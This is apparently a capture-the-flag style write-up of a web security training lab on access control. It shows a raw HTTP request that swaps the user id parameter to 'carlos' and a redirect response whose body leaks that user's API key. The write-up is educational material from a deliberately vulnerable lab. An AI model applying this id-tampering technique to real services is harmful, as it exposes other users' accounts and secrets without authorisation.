

Lab7: User ID controlled by request parameter with data leakage in redirect

This lab contains an [access control](#) vulnerability where sensitive information is leaked in the body of a redirect response.

To solve the lab, obtain the API key for the user `carlos` and submit it as the solution.

You can log in to your own account using the following credentials: `wiener:peter`

Change id to Carlos and Send Request

```
Request
Pretty Raw Hex
1 GET /my-account?id=carlos HTTP/1.1
2 Host: 0aec00c9047afdc8c0c4ef8700bb0044.web-security-academy.net
3 Cookie: session=51MrU4BQFd8mFbeIJMySunt0NlcOW876
4 Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="104"
```

Website Uses ReDirect But Displays Carlos API

```
Response
Pretty Raw Hex Render
1 HTTP/1.1 302 Found
2 Location: /login
3 Content-Type: text/html; charset=utf-8
4 Cache-Control: no-cache
```

Steal API Key

```
<p>
  Your username is: carlos
</p>
<div>
  Your API Key is: 0llygXrHe9tM6v4xoo1nhP2Gzhj0CwzuF
</div>
<br/>
<form class="login-form" name="change_email_form" action="/my
```

Congratulations, you solved the lab!